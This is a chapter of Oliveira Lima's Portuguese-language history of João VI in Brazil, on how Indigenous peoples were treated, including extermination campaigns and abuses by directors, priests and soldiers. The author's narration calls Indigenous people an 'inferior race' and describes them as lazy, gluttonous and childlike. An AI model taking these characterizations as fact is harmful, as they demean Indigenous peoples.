O TRATAMENTO DOS ÍNDIOS – D. João VI no Brasil – Oliveira Lima

O TRATAMENTO DOS ÍNDIOS – D. João VI no Brasil – Oliveira Lima

D. João VI no Brasil – Oliveira Lima

CAPITULO XIX

O TRATAMENTO DOS ÍNDIOS

Neste ponto pode dizer-se que foi deficiente o governo de Dom João VI, se com isto se quer exprimir que
não teve resultados permanentes o que ele fez ou tentou fazer pelos índios brasileiros.
Cumpre todavia notar logo
que lhe não cabem por tal motivo remoques, pois o efeito de quais­quer
esforços, mesmo mais concretos e enérgicos, teria certamente sido no seu
conjunto negativo, porquanto aqueles índios — como todas as ra­ças inferiores, postas embora, e
sobretudo quando assim acontece, em con­tato com elementos civilizadores — se mostram incapazes
de outra exis­tência
que não a vegetativa, dividida entre as ocupações da caça, da luta com outras tribos, das bebedeiras
ruidosas e da preparação rotineira das armas de combate, dos mantimentos de conserva, dos
espíritos, das redes e,
quando são cultivadores, dos seus escassos produtos agrícolas.

Toda catequese, religiosa ou leiga, tem sido inábil para elevar-lhes marcadamente o nível moral. Conforme
ponderaram Spix e Martius depois que os observaram pessoalmente, eles mais dependem,
quando aldeados, da atividade ou
indústria dos forasteiros do que da própria, sendo por isso mesmo de lamentar que não vivessem entre gente que lhes pudesse dar uma melhor idéia da superioridade moral da
cultura estrangeira, di­versa da
fornecida pelo egoísmo, cobiça e desumanidade desses ocupadores de um
solo estranho.

"A civilização dos índios tem igualmente sido até
aqui obstada pelo costume
de empregar uma nação para combater outra, como foram por exemplo empregados os coroados
contra os puris, e pela sanha dos desta­camentos militares, os quais estenderam
aos puris a guerra de extermínio que por lei lhes foi facultada contra os
botocudos."642 O Correio Braziliense acremente censurou o conde de
Linhares essa guerra cruel, vestígio de
antigo barbarismo, que ele decretara.

Se o extermínio não foi a regra para os selvagens bravios, pelo menos foram os aborígenes mansos
praticamente abandonados nas suas aldeias miseráveis, sem cultura e sem futuro, quando não deixados
a vaguear pe­las
matas e campos. A matéria-prima em verdade aparecia refratária e por isso talvez nada de efetivo
lograria jamais constar, quando muito maior fosse o seu devotamento, ao ativo da Junta criada para
indagar de tudo quanto
pudesse promover à civilização dos indígenas, e sugerir os meios convenientes de chegar a resultados animadores.

Alguns
se obtiveram, se bem que de natureza provisória ou limitada. Spix e Martius, que foram ao
interior da capitania de Minas Gerais visitar os coroados aldeados no presídio de São João
Batista, escrevem que os princípios por que eram administrados os índios faziam
honra ao gover­no, tratando os diretores de conservá-los agrupados e fazê-los
cultivar a terra
que lhes era dada em propriedade, com isenção de taxas por dez anos e fornecimento gratuito de
farinha de milho e utensílios agrícolas. Ao mes­mo tempo que os dirigiam, aquelas autoridades
defendiam-nos contra quaisquer
tentativas de escravização por parte dos colonos, concedendo-lhes a proteção da lei, e só os
deixando trabalhar mediante salários, posto que reduzidos, correlativos com sua inexperiência e
carência de necessida­des como as dos
civilizados.

A política de adiantamentos materiais e morais com que Dom
João VI pretendeu assinalar o seu governo
direto no Brasil, visava — é justiça admitir — originar no tocante à
civilização dos indígenas resultados mais satisfatórios do que meramente uma mais ativa exploração
do interior. Aliás deve
lembrar-se que até certo ponto foi com semelhante intuito animada a melhoria das comunicações
terrestres e fluviais do litoral com o sertão. A Junta instituída adrede denominava-se,
conjuntamente, da conquista e civilização dos índios e do comércio e navegação do Rio Doce, e tinha sua sede em Vila Rica: a região dos rios Doce e Jequitinhonha foi a prefe­rida de começo para tais ensaios da administração
com relação aos aborí­genes.

É de resto óbvio que todo progresso nesse sentido de facilitar a nave­gabilidade de rios ou abrir
estradas através de matas espessas, com a con­seqüente colonização de feição
européia, redundaria em proveito do ele­mento indígena, se ele próprio no
entanto fosse suscetível de verdadeiro progresso, não recuando medroso diante
da cultura como lhe era ofereci­da, e internando-se cada vez mais nas solidões para
escapar ao jugo das forças militares com que ia sendo legitimada a posse da
terra e praticada a
novíssima catequese. Daí vem que o espetáculo apresentado pelos habitantes
primitivos do Brasil na época de Dom João VI não encerrava gran­de alteração do que se nos houvera deparado em pleno
século XVI.

Dividiam-nos oficial e literariamente em índios selvagens, semiman-sos
e mansos, sendo na realidade mínima a diferença entre as três classes. O príncipe Maximiliano de
Wied-Neuwied ocupou-se bastante deles e dei­xou a respeito um depoimento insuspeito. No seu tempo
existiam ainda em
grande número os índios na própria província do Rio de Janeiro, ape­sar da referida migração e da
constante fusão com o elemento conquistador.

Os pseudo-civilizados ou em caminho disso viviam em
cabanas de taipa
com tetos de folha de coqueiro, dormindo nas mesmas redes, servindo-se dás
mesmas cabaças, cobrindo o chão com as mesmas esteiras, em­pregando as mesmas armas de
arremesso que os outros. Conservavam ainda todos os seus costumes privados, as suas comidas e
bebidas, os seus folgares
e tristezas, todos os seus usos coletivos. Uma espingarda, um espelho, um instrumento agrícola
recordaria ocasionalmente — como de resto acon­tecia ao tempo dos primeiros escambos — o contato
com a cultura euro­péia, que se traía também mais pela adoção da língua
portuguesa do que pela
da religião cristã imposta à sua credulidade e sobre a qual a sua ima­ginação infantil lançara e
bordara um manto de superstições tecido pela ignorância.

Jeitosos e capazes de bem desempenhar certos misteres,
dominava-os contudo
uma invencível preguiça, de que só se libertavam para a caça e para a guerra,
quando davam mostras da maior diligência e resistência. Glutões se tinham
comida para saciar-lhes o apetite, logravam não obs­tante suportar longo tempo a
fome e a sede. De ordinário, quando não comiam, ou dormiam, ou perseguiam animais de caça ou iam
no encalço de
inimigos, acocoravam-se silenciosos em redor do fogo, numa taciturni-dade fundamental, de que só os
despia o seu gosto imoderado pelas bebi­das espirituosas. A inclinação nômada era outro traço
ingênito e caracte­rístico
que os levava a facilmente abandonarem as aldeias em deserções que começavam
por ser cinegéticas e se tornavam definitivas, operando-se com extraordinária presteza,
nelas carregando os homens as armas e as
mulheres as panelas, redes e provisões de boca.

A desconfiança continuava no século XIX, como logo depois da des­coberta,
a ser a base das relações entre as duas raças. Eschwege é dos que dão perfeita razão aos indígenas,
descrevendo a sua situação em relação aos europeus com cores diversas das escolhidas por Spix e
Martius. E suas informações
devem ser mais procuradas e mais exatas, porque Eschwege residiu muito mais tempo no Brasil do que aqueles dois
naturalistas que tão somente o percorreram,
observando-o embora com suma inteli­gência
e pondo a maior dose de probidade nas suas apreciações.

O
conhecido mineralogista, esse, não só teve ensejo de tornar mais conhecido o país, geológica e
economicamente, publicando, afora seus li­vros, artigos de considerável valor em revistas
européias, como estabele­ceu em Minas Gerais diversas fundições de ferro, que manufaturavam boa
soma de artigos — foices, machados, ferraduras, pregos, picaretas etc. —; não vingando mais tão
prometedora indústria numa região em que a matéria-prima era mais do que copiosa porque, segundo
Eschwege mes­mo explica e já foi notado,
os habitantes, acostumados à vida errante e aventurosa
das minerações, desprezavam as ocupações fixas e regulares.

Pois tão excelente conhecedor do nosso meio físico e
moral e afoito expositor do que nele se lhe deparava, transmitiu-nos uma
pintura de im­pressionar do tratamento dos índios brasileiros. Nela se revela
Eschwege infinitamente
menos benévolo do que seus compatriotas Spix e Martius (que aliás discutiam em espécie,
baseando-se sobre um exemplo isolado que por acaso os fora o do seu
conhecimento) para com os diretores civis que substituíram na tutela dos
aborígenes os missionários, e que denotan­do, no dizer do citado escritor germânico, a maior
avareza e doblez e es­quecendo
os mais elementares deveres de humanidade para com a gente confiada à sua guarda, faziam-se
servir pelos índios aldeados como se fos­sem escravos, espancavam-nos, deixavam-nos espoliar,
quando os não es­poliavam
eles próprios, pelos colonos vizinhos das aldeias. Estes, despo­jando os
desgraçados descendentes dos antigos senhores do solo das ter­ras que lhes tinham sido doadas e
que ocupavam, maltratavam-nos, roubavam-nos
de tudo e não raro até os trucidavam.

Por sua vez os sacerdotes que ajudavam os diretores leigos na tarefa
administrativa, e que na gestão espiritual ocupavam a sucessão dos jesuí­tas, estavam longe de possuir o
tato e a mansuetude dos filhos de Santo Inácio, exigindo de tão miseráveis fiéis pagamento
adiantado pelos seus serviços
eclesiásticos e assim contribuindo, com suas vexações, para tor­nar mais aborrecida dos índios
essa religião estranha que eles não logra­vam
sequer compreender.

Os soldados dos destacamentos espingardeavam sem tirte nem guarte um aldeado por uma espiga de
milho roubada de uma plantação de branco e cometiam cem barbaridades, entre
outras a de vender criança das tribos.

Nada se praticava com doçura e vontade de acertar, em contrario atodas
as recomendações oficiais, cujo teor era invariavelmente benévelo para com os índios.643 Para forçar os puris a
hábitos sedentários e a um cultivo regular da terra, lembraram-se de trazê-los
em parte para a capital de Minas Gerais e aí distribuí-los em serviço pelas famílias,
numa quase ressurreição
urbana das encomiendas espanholas. Dizimados pelas doen­ças, vencidos pela melancolia,
sujeitos aos ruins tratos ou pelo menos for­çados a um trabalho seguido que não estava nos seus
hábitos tradicionais e
repugnava à sua natureza, desapareceram esses servos pela porta da morte ou refugiaram-se de novo nas
suas florestas, onde os perseguiam os solda­dos, vingando-se eles por fim com massacrarem o diretor,
destruírem as plantações e imolarem uma quantidade de inocentes.644

A Dom João VI não eram
desconhecidos os abusos escandalosos que se passavam e magoava-o um tal estado
de cousas, contra a qual nada po­dia a sua ação benigna, numa tamanha extensão
territorial, com as cir­cunstâncias predominantes que iam desde a distância até a carência de moralidade, e sem agentes fiéis
para a repressão dos que deviam civilizar e para a educação dos que havia a civilizar. Tudo
pelejava em contrário às
intenções reais: a má-vontade dos índios em submeterem-se, tanto quanto a má-vontade das autoridades
subalternas, e mesmo das que lhes eram imediatamente superiores, em defendê-los
e elevá-los.

Quando houvesse simpatia e energia para isso, era a obra superior aos meios de pô-la em execução. A Junta de Vila Rica, funcionando per­to, não conseguiu reduzir, apesar da guerra
movida, o país dos botocudos — cerca de 1.200 léguas quadradas, cobertas de
florestas impenetráveis, que permaneceram mais ou menos nas primitivas condições, sem estradas abertas, nem culturas, nem
segurança, não se melhorando sequer a nave­gação
do Rio Doce.

A colonização do interior do Brasil, Dom João VI a encontrou e a dei­xou sob a forma de um desbravar
empírico, exercido a ferro e a fogo, sem o aparelho apropriado nem sombra de fundamento
científico. Traduzia-se, como hoje ainda, pelas derrubadas e queimadas que, a pretexto de alarga­rem a zona de cultivação,
estendiam, com a supressão das matas, a área das secas para nela vegetar, sobre um solo que de
fértil passava a estéril, "e de­caída pelo impaludismo, tão característico das regiões
incultas, uma popu­lação de mestiços lamentáveis, agitantes num quase
deserto".645

Essa falta de todo preparo industrial, junto com o
inteiro desco­nhecimento da higiene e da profilaxia, palavras vazias de
significação em
semelhante meio mas não em semelhante época, continuando por­tanto a operar-se o antigo
espraiar de bandeirantes sobre uma terra fe­cunda, suscetível porém de
deteriorar-se em sua excelência e tornar-se safara; doutro lado a subsistência
dos latifúndios, dos terrenos doados, das sesmarias da conquista, dificultando a aquisição da
propriedade ter­ritorial com os foros, os
arrendamentos a longo prazo com limitação de
cultivo dependente do valor do aluguel, e a faculdade para o senhor da terra de
recobrar a plena propriedade dela pelo pagamento das ben­feitorias avaliadas por terceiros, redundavam no
aspecto desolador da nossa lavoura mesquinha, arrancada aos braços dos escravos
sem real correspondência entre o capital e os esforços empregados, e os resulta­dos
obtidos.

Acresce que o português é por temperamento muito mais um
ex­plorador do que um colonizador. A sua
tendência é abrir caminhos, não tanto
estabelecer domínios no interior dos continentes: quando muito, fundar
feitorias pelos litorais. "Não era de esperar que fosse cultivar os
sertões da América quem deixava sem cultura as férteis campinas do Alentejo e
as colônias da Beira, e Trás os Montes."646

O favor oficial para tudo era preciso nessas condições,
mesmo para fazer florescer
a indústria particular, dependente, segundo deveria ser, da iniciativa de cada
um. A intervenção do estado era porém tão cons­tante e vexatória que força era que ela também se
exercesse pela absten­ção,
de jeito a favorecer. Assim, o cônsul-geral russo Langsdorff que, além de colecionar 1.600
variedades de borboletas, plantara na sua fa­zenda Mandioca 20.000 cafezeiros e
fabricava em 1819 perto de 1.000 sacos de farinha por ano, carecia para prosperar nas suas
lavouras que. não
falando dos seus sessenta escravos, o rei indiretamente lhe angarias­se trabalhadores bastantes,
concedendo isenção do serviço de milícias aos
moradores da vizinhança que se prestassem aos serviços agrícola da referida
propriedade.647

Foi contudo esse cônsul o primeiro da sua classe de
funcionários es­trangeiros a desacreditarem o nosso sistema de colonização
estipendiada assim
como foi o conde da Barca o nosso primeiro agente de emigração na Europa, pródigo como todos os
mais de promessas pomposas. Langs­dorff não trepidou em mandar relatar em gazetas do seu
país e da Alemanha
que, dos europeus transportados para o Brasil, alguns tinham expirado de miséria e outros sido
recolhidos por navios americanos e levados gratuitamente para os Estados Unidos, onde o Governo
Federal, conquanto não
houvesse mandado abonar as passagens desses imigrantes que lhe chegavam sempre a propósito, os
abrigou, alimentou e proveu de terras para cultivar.

O Congresso de
Viena, junto ao qual se quis fazer valer a conveniência da expansão colonial de Portugal como aumentando as
vantagens pos­síveis
para a imigração européia nos seus territórios brasileiros dilatados pelas armas da velha metrópole,
não era infelizmente assembléia que se deixasse levar pelas visões de Barca ou pelas blandícias
de Palmela. A Santa Aliança
foi tratando toda ela de subtrair ao Brasil os seus ganhos alcança­dos pela violência e a que a
corte do Rio dizia haver-se afoitado para maior felicidade dos futuros emigrantes, os quais
entretanto persistia nas pala­vras do abade de Pradt, a preferir às imensas e majestosas solidões da
Amé­rica do Sul —
as solidões igualmente vastas e igualmente imponentes da América do Norte, regidas porém,
como prometiam de seguro ser quais­quer sociedades que nelas se fundassem, por uma
constituição admirável, baseada na mais estrita igualdade e na mais completa liberdade
política, civil e religiosa.

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